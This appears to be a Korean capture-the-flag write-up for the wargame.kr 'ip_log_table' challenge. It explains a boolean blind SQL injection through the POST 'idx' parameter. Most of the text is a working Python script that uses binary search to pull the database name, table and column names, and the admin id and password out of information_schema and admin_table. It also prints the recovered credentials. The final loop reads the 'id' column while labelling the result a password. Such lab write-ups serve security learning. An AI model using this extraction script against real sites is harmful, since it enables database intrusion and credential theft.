ip_log_table 중에서 하나를 클릭하면, idx
에 값이 포함되어 POST로 서버에 전송된다.
idx
에 여러가지 값을 넣다보면, 그 값이 46875 등 유효한 값일 때에는 해당 시간을 출력하며, 쿼리에러 혹은 무효한 값일 때에는 1970-01-01을 출력한다.
이를 이용해서 아래와 같이 blind sql injection을 실행한다.
idx=if(1=1,46875,99999) // 참 = 46875, 거짓 = 99999(무효)
아래는 실행한 코드이다.
특징은
> , <
비교 연산을 통한 최단 경로.where table_schema = database()
가 좀 중요하다고 생각되는데, 싱글쿼터('
)가 필터링된 상황에서 이 조건이 없이는 정보추출이 불가능하다.
실제로 1024자까지 뽑아봤으나 원하는 정보가 나오지 않았다.import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Disable flag warning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Content-Length': '45',
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': '####',
'Host': 'wargame.kr:8080',
'Origin': '<http://wargame.kr:8080>',
'Referer': '<http://wargame.kr:8080/ip_log_table/>',
'Upgrade-Insecure-Requests': '1',
'User-Agent': '####'}
url = "<http://wargame.kr:8080/ip_log_table/chk.php>"
# Find database name length
length = 12
if length == 0 :
for i in range(1,40):
datas = {
'idx' : "if(length(database())=%d,46875,99999)"%i
}
res = requests.post(url=url, headers=header, data=datas, verify=False)
if res.text.find('1970') == -1:
print("result", i)
break;
# Find Database name
database_name = 'ip_log_table'
if database_name == '' :
for i in range(1, 12 + 1): # mysql substr start from 1, not 0
# range set
v_min = 0x20
v_max = 0x80
# narrow down the range
while v_max - v_min > 5 :
datas = {
'idx' : f"if( ord(substring(database(),{i},1)) >= {int((v_min + v_max)/2)} ,46875,99999)"
}
res = requests.post(url=url, headers=header, data=datas, verify=False)
if res.text.find('1970') == -1: # true
v_min = int((v_min + v_max)/2)
else:
v_max = int((v_min + v_max)/2) - 1
print(f"[{i}]", "Narrow value", v_min, v_max)
# pinset the value
for j in range(v_min, v_max + 1):
datas = {
'idx' : f"if( ord(substring(database(),{i},1)) = {j} ,46875,99999)"
}
res = requests.post(url=url, headers=header, data=datas, verify=False)
print(f"[{i}]", 'ing....', i, j)
if res.text.find('1970') == -1: # true
print("Find!", i, chr(j))
database_name += chr(j)
print("[database_name] : ", database_name)
break;
# Find table name
table_name = 'admin_table,ip_table'
# ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENABLED_ROLES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,INDEX_STATISTICS,KEY_CACHES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TABLE_STATISTICS,TRIGGERS,USER_PRIVILEGES
# ,USER_STATISTICS,VIEWS,INNODB_CMP,XTRADB_INTERNAL_HASH_TABLES,INNODB_SYS_DATAFILES,XTRADB_RSEG,INNODB_SYS_TABLESTATS,INNODB_TRX,INNODB_FT_BEING_DELETED,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_LOCKS,INNODB_FT_DELETED,XTRADB_READ_VIEW,INNODB_LOCK_WAITS,INNODB_CMPMEM_RESET,INNODB_SYS_INDEXES,INNODB_SYS_TABLES,INNODB_SYS_FIELDS,INNODB_BUFFER_PAGE_LRU,INNODB_FT_CONFIG,INNODB_FT_INDEX_TABLE,INNODB_CMP_PER_INDEX_RESET,INNODB_SYS_TABLESPACES,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_METR
# ICS,INNODB_BUFFER_POOL_ST
if table_name == '' :
for i in range(0, 500): # mysql substr start from 1, not 0
# range set
v_min = 0x20
v_max = 0x80
# narrow down the range
while v_max - v_min > 5 :
datas = {
'idx' : f"if( ord(substring((select group_concat(table_name) from information_schema.tables where table_schema = database()),{i},1)) >= {int((v_min + v_max)/2)} ,46875,99999)"
}
res = requests.post(url=url, headers=header, data=datas, verify=False)
if res.text.find('1970') == -1: # true
v_min = int((v_min + v_max)/2)
else:
v_max = int((v_min + v_max)/2) - 1
print(f"[{i}]", "Narrow value", v_min, v_max)
# pinset the value
for j in range(v_min, v_max + 1):
datas = {
'idx' : f"if( ord(substring((select group_concat(table_name) from information_schema.tables where table_schema = database()),{i},1)) = {j} ,46875,99999)"
}
res = requests.post(url=url, headers=header, data=datas, verify=False)
print(f"[{i}]", 'ing....', i, j)
if res.text.find('1970') == -1: # true
print("Find!", i, chr(j))
table_name += chr(j)
print("[table_name] : ", table_name)
break;
# Find Column name
column_name = 'idx,id,ps,idx,ip,tm'
if column_name == '' :
for i in range(0, 500): # mysql substr start from 1, not 0
# range set
v_min = 0x20
v_max = 0x80
# narrow down the range
while v_max - v_min > 5 :
datas = {
'idx' : f"if( ord(substring((select group_concat(column_name) from information_schema.columns where table_schema = database()),{i},1)) >= {int((v_min + v_max)/2)} ,46875,99999)"
}
res = requests.post(url=url, headers=header, data=datas, verify=False)
if res.text.find('1970') == -1: # true
v_min = int((v_min + v_max)/2)
else:
v_max = int((v_min + v_max)/2) - 1
print(f"[{i}]", "Narrow value", v_min, v_max)
# pinset the value
for j in range(v_min, v_max + 1):
datas = {
'idx' : f"if( ord(substring((select group_concat(column_name) from information_schema.columns where table_schema = database()),{i},1)) = {j} ,46875,99999)"
}
res = requests.post(url=url, headers=header, data=datas, verify=False)
print(f"[{i}]", 'ing....', i, j)
if res.text.find('1970') == -1: # true
print("Find!", i, chr(j))
column_name += chr(j)
print("[column_name] : ", column_name)
break;
# Find Admin Password!
admin_id = 'blue_admin'
password = '0h~myp4ss!'
if password == '' :
for i in range(0, 500): # mysql substr start from 1, not 0
# range set
v_min = 0x20
v_max = 0x80
# narrow down the range
while v_max - v_min > 5 :
datas = {
'idx' : f"if( ord(substring((select group_concat(id) from admin_table),{i},1)) >= {int((v_min + v_max)/2)} ,46875,99999)"
}
res = requests.post(url=url, headers=header, data=datas, verify=False)
if res.text.find('1970') == -1: # true
v_min = int((v_min + v_max)/2)
else:
v_max = int((v_min + v_max)/2) - 1
print(f"[{i}]", "Narrow value", v_min, v_max)
# pinset the value
for j in range(v_min, v_max + 1):
datas = {
'idx' : f"if( ord(substring((select group_concat(id) from admin_table),{i},1)) = {j} ,46875,99999)"
}
res = requests.post(url=url, headers=header, data=datas, verify=False)
print(f"[{i}]", 'ing....', i, j)
if res.text.find('1970') == -1: # true
print("Find!", i, chr(j))
password += chr(j)
print("[password] : ", password)
break;